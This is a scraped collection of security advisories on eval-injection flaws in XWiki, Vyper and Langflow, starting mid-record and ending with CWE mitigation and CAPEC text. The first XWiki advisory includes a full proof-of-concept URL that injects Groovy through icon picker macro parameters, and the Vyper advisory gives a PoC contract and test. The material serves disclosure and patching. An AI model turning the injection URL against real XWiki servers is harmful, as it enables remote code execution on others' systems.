"details": "### Impact\nAny user with view rights on commonly accessible documents including the icon picker macro can execute arbitrary Groovy, Python or Velocity code in XWiki due to improper neutralization of the macro parameters of the icon picker macro.\n\nThe URL `\u003cserver\u003e/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter\u0026language=en\u0026sourceSyntax=xwiki%252F2.1\u0026stripHTMLEnvelope=true\u0026fromHTML=false\u0026toHTML=true\u0026text=%7B%7BiconPicker%20id%3D%22\u0027%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerId%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%20class%3D%22\u0027%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerClass%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%2F%7D%7D` demonstrates the issue (replace `\u003cserver\u003e` by the URL to your XWiki installation). If the output `HellofromIconPickerId` or `HellofromIconPickerClass` is visible, the XWiki installation is vulnerable (normally, all output should be contained in a script-tag and thus invisible).\n\n### Patches\n\nThe problem has been patched in XWiki 13.10.7, 14.5 and 14.4.2.\n\n### Workarounds\n\nThe [patch](https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01) can be manually applied by editing `IconThemesCode.IconPickerMacro` in the object editor. The whole document can also be replaced by the current version by importing the document from the XAR archive of a fixed version as the only changes to the document have been security fixes and small formatting changes.\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01\n* https://jira.xwiki.org/browse/XWIKI-19805\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-5j7g-cf6r-g2h7",
"modified": "2022-11-21T22:36:34Z",
"published": "2022-11-21T22:36:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-5j7g-cf6r-g2h7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41931"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-19805"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Neutralization of Directives in Dynamically Evaluated Code (\u0027Eval Injection\u0027) in xwiki-platform-icon-ui"
}
GHSA-5JRJ-52X8-M64H
Vulnerability from github – Published: 2024-04-25 19:50 – Updated: 2025-01-21 17:53Summary
Using the sqrt builtin can result in multiple eval evaluation of side effects when the argument has side-effects. The bug is more difficult (but not impossible!) to trigger as of 0.3.4, when the unique symbol fence was introduced (https://github.com/vyperlang/vyper/pull/2914).
A contract search was performed and no vulnerable contracts were found in production.
Details
It can be seen that the build_IR function of the sqrt builtin doesn't cache the argument to the stack:
https://github.com/vyperlang/vyper/blob/4595938734d9988f8e46e8df38049ae0559abedb/vyper/builtins/functions.py#L2151
As such, it can be evaluated multiple times (instead of retrieving the value from the stack).
PoC
With at least Vyper version 0.2.15+commit.6e7dba7 the following contract:
c: uint256
@internal
def some_decimal() -> decimal:
self.c += 1
return 1.0
@external
def foo() -> uint256:
k: decimal = sqrt(self.some_decimal())
return self.c
passes the following test:
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13;
import "../../lib/ds-test/test.sol";
import "../../lib/utils/Console.sol";
import "../../lib/utils/VyperDeployer.sol";
import "../ITest.sol";
contract ConTest is DSTest {
VyperDeployer vyperDeployer = new VyperDeployer();
ITest t;
function setUp() public {
t = ITest(vyperDeployer.deployContract("Test"));
}
function testFoo() public {
uint256 val = t.foo();
console.log(val);
assert (val == 4);
}
}
Patches
Patched in https://github.com/vyperlang/vyper/pull/3976.
Impact
No vulnerable production contracts were found.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "vyper"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32649"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T19:50:16Z",
"nvd_published_at": "2024-04-25T18:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\nUsing the `sqrt` builtin can result in multiple eval evaluation of side effects when the argument has side-effects. The bug is more difficult (but not impossible!) to trigger as of 0.3.4, when the unique symbol fence was introduced (https://github.com/vyperlang/vyper/pull/2914).\n\nA contract search was performed and no vulnerable contracts were found in production.\n\n### Details\nIt can be seen that the `build_IR` function of the `sqrt` builtin doesn\u0027t cache the argument to the stack: \nhttps://github.com/vyperlang/vyper/blob/4595938734d9988f8e46e8df38049ae0559abedb/vyper/builtins/functions.py#L2151\n\nAs such, it can be evaluated multiple times (instead of retrieving the value from the stack).\n\n### PoC\nWith at least Vyper version `0.2.15+commit.6e7dba7` the following contract:\n```vyper\nc: uint256\n\n@internal\ndef some_decimal() -\u003e decimal:\n self.c += 1\n return 1.0\n\n@external\ndef foo() -\u003e uint256:\n k: decimal = sqrt(self.some_decimal())\n return self.c\n```\npasses the following test:\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity \u003e=0.8.13;\n\nimport \"../../lib/ds-test/test.sol\";\nimport \"../../lib/utils/Console.sol\";\nimport \"../../lib/utils/VyperDeployer.sol\";\n\nimport \"../ITest.sol\";\n\ncontract ConTest is DSTest {\n VyperDeployer vyperDeployer = new VyperDeployer();\n\n ITest t;\n\n function setUp() public {\n t = ITest(vyperDeployer.deployContract(\"Test\"));\n }\n\n function testFoo() public {\n uint256 val = t.foo();\n console.log(val);\n assert (val == 4);\n }\n}\n```\n \n### Patches\nPatched in https://github.com/vyperlang/vyper/pull/3976.\n\n### Impact\nNo vulnerable production contracts were found.",
"id": "GHSA-5jrj-52x8-m64h",
"modified": "2025-01-21T17:53:44Z",
"published": "2024-04-25T19:50:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-5jrj-52x8-m64h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32649"
},
{
"type": "WEB",
"url": "https://github.com/vyperlang/vyper/pull/2914"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2024-209.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vyperlang/vyper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "vyper performs multiple eval of `sqrt()` argument built in"
}
GHSA-5MF8-V43W-MFXP
Vulnerability from github – Published: 2023-08-21 20:10 – Updated: 2023-08-21 20:10Impact
Any registered user can use the content field of their user profile page to execute arbitrary scripts with programming rights, thus effectively performing rights escalation.
The problem is present since version 4.3M2 when AppWithinMinutes Application added support for the Content field, allowing any wiki page (including the user profile page) to use its content as an AWM Content field, which has a custom displayer that executes the content with the rights of the AppWithinMinutes.Content author, rather than the rights of the content author.
Patches
The issue has been fixed in XWiki 14.10.5 and 15.1RC1 by https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262 . The fix is in the content of the AppWithinMinutes.Content page that defines the custom displayer. By using the display script service to render the content we make sure that the proper author is used for access rights checks.
Workarounds
If you want to fix this problem on older versions of XWiki that have not been patched then you need to modify the content of AppWithinMinutes.Content page to use the display script service to render the content, like this:
- {{html}}$tdoc.getRenderedContent($tdoc.content, $tdoc.syntax.toIdString()).replace('{{', '&#123;&#123;'){{/html}}
+ {{html}}$services.display.content($tdoc, {
+ 'displayerHint': 'default'
+ }).replace('{{/html}}', '&#123;&#123;/html&#125;&#125;'){{/html}}
References
- JIRA issue https://jira.xwiki.org/browse/XWIKI-19906
- Fix https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
Attribution
This vulnerability has been found and reported by @michitux .
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-appwithinminutes-ui"
},
"ranges": [
{
"events": [
{
"introduced": "4.3-milestone-2"
},
{
"fixed": "14.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40177"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T20:10:55Z",
"nvd_published_at": "2023-08-23T21:15:08Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nAny registered user can use the content field of their user profile page to execute arbitrary scripts with programming rights, thus effectively performing rights escalation.\n\nThe problem is present [since version 4.3M2](https://jira.xwiki.org/browse/XWIKI-7369) when AppWithinMinutes Application added support for the Content field, allowing any wiki page (including the user profile page) to use its content as an AWM Content field, which has a custom displayer that executes the content with the rights of the ``AppWithinMinutes.Content`` author, rather than the rights of the content author.\n\n### Patches\n\nThe issue has been fixed in XWiki 14.10.5 and 15.1RC1 by https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262 . The fix is in the content of the [AppWithinMinutes.Content](https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262#diff-850f6875c40cf7932f40a985e99679a041891c6ee75d10239c06921c0019cf78R82) page that defines the custom displayer. By using the ``display`` script service to render the content we make sure that the proper author is used for access rights checks.\n\n### Workarounds\n\nIf you want to fix this problem on older versions of XWiki that have not been patched then you need to modify the content of ``AppWithinMinutes.Content`` page to use the ``display`` script service to render the content, like this:\n\n```\n- {{html}}$tdoc.getRenderedContent($tdoc.content, $tdoc.syntax.toIdString()).replace(\u0027{{\u0027, \u0027\u0026amp;#123;\u0026amp;#123;\u0027){{/html}}\n+ {{html}}$services.display.content($tdoc, {\n+ \u0027displayerHint\u0027: \u0027default\u0027\n+ }).replace(\u0027{{/html}}\u0027, \u0027\u0026amp;#123;\u0026amp;#123;/html\u0026amp;#125;\u0026amp;#125;\u0027){{/html}}\n```\n\n### References\n\n* JIRA issue https://jira.xwiki.org/browse/XWIKI-19906\n* Fix https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nThis vulnerability has been found and reported by @michitux .",
"id": "GHSA-5mf8-v43w-mfxp",
"modified": "2023-08-21T20:10:55Z",
"published": "2023-08-21T20:10:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-5mf8-v43w-mfxp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40177"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/dfb1cde173e363ca5c12eb3654869f9719820262"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-7369"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform privilege escalation (PR) from account through AWM content fields"
}
GHSA-5V3C-9G74-93W7
Vulnerability from github – Published: 2026-01-23 06:31 – Updated: 2026-01-23 06:31Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the implementation of eval_custom_component_code function. The issue results from the lack of proper validation of a user-supplied string before using it to execute python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26972.
{
"affected": [],
"aliases": [
"CVE-2026-0769"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T04:16:03Z",
"severity": "CRITICAL"
},
"details": "Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of eval_custom_component_code function. The issue results from the lack of proper validation of a user-supplied string before using it to execute python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26972.",
"id": "GHSA-5v3c-9g74-93w7",
"modified": "2026-01-23T06:31:24Z",
"published": "2026-01-23T06:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0769"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-035"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
If possible, refactor your code so that it does not need to use eval() at all.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.